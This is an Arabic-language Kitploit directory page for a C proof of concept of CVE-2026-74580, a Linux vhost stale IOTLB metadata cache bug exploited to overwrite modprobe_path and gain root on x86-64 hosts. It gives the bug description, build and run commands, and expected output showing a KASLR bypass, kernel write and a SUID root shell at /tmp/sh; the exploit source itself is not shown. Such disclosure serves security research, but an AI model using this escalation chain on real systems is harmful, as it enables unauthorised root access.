Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-74580 — إثبات مفهوم بلغة C للثغرة CVE-2026-74580: يستغل ذاكرة التخزين المؤقت القديمة لبيانات vhost IOTLB الوصفية لاستبدال modprobe_path والارتقاء إلى صلاحيات الجذر على مضيفات Linux بمعمارية x86-64. | Kitploit
أدوات/GitHubGitHub/abc00012345/cve-2026-74580
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالأوراق والأبحاثاستغلال الملفات الثنائية
GitHubabc00012345/cve-2026-74580

CVE-2026-74580

إثبات مفهوم بلغة C للثغرة CVE-2026-74580: يستغل ذاكرة التخزين المؤقت القديمة لبيانات vhost IOTLB الوصفية لاستبدال modprobe_path والارتقاء إلى صلاحيات الجذر على مضيفات Linux بمعمارية x86-64.

عرض المستودع
21منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Vghost — CVE-2026-74580

الكود الأصلي وملف readme من: https://github.com/zhangutah/security-research

تصعيد صلاحيات لينكس

المخرجات المتوقعة:

./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"

[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920

[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920

[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after:  "/tmp/pwn"

[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...

sh-5.3# whoami
root

الوصف

تقوم vq->meta_iotlb[] بتخزين تعيين IOTLB الكائن خلف كل منطقة بيانات وصفية لـ vring (desc / avail / used). ولا تعمل VHOST_SET_VRING_ADDR وVHOST_SET_VRING_NUM على إعادة تعيين ذلك المخزن المؤقت. وعند ربط جهاز IOTLB، يمكن لـ vq نشط أن يترجم vring أُعيدت تهيئته عبر تعيين لم يعد يغطيه. لا تحتوي vhost_vq_meta_fetch() على فحص للنطاق، وتُمرَّر النتيجة إلى __copy_to_user() / __copy_from_user().

يمكن الوصول إلى المخزن المؤقت القديم نفسه من داخل ضيف (guest) عندما يعمل vhost في وضع device-IOTLB (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) ويقوم الضيف بإعادة تعيين virtqueue عبر VIRTIO_F_RING_RESET. هذا المسار ليس هو PoC الحالي.

  • CVE: CVE-2026-74580 (CVSS 8.8)
  • التحليل المكتوب: Vghost
  • الإصلاح: de845981da67

poc.c هو PoC خاص بالمضيف x86-64 يستهدف /dev/vhost-vsock. يفتح صدفة بصلاحيات الجذر بـ euid=0. وينشئ /tmp/sh بصلاحيات suid root. احذف الملف بعد الاختبار يدويًا!

الاستخدام

cc -O2 -Wall -Wextra -o poc poc.c
./poc

يستخدم البحث عن الرموز، بالترتيب: $SYSTEM_MAP، /boot/System.map-$(uname -r)، /usr/lib/modules/$(uname -r)/build/System.map. يجب أن يكون modprobe_path موجودًا؛ ويعود asm_exc_divide_error إلى عنوان ثابت إذا لم يكن موجودًا.

يجب أن تكون العملية قادرة على فتح /dev/vhost-vsock. بعض الصور تأتي مع هذه العقدة بصلاحيات 0666؛ وأخرى بصلاحيات 0660 root:kvm.

شغّله فقط على نظام اختبار قابل للتخلص منه تملكه.

تنزيل الأداة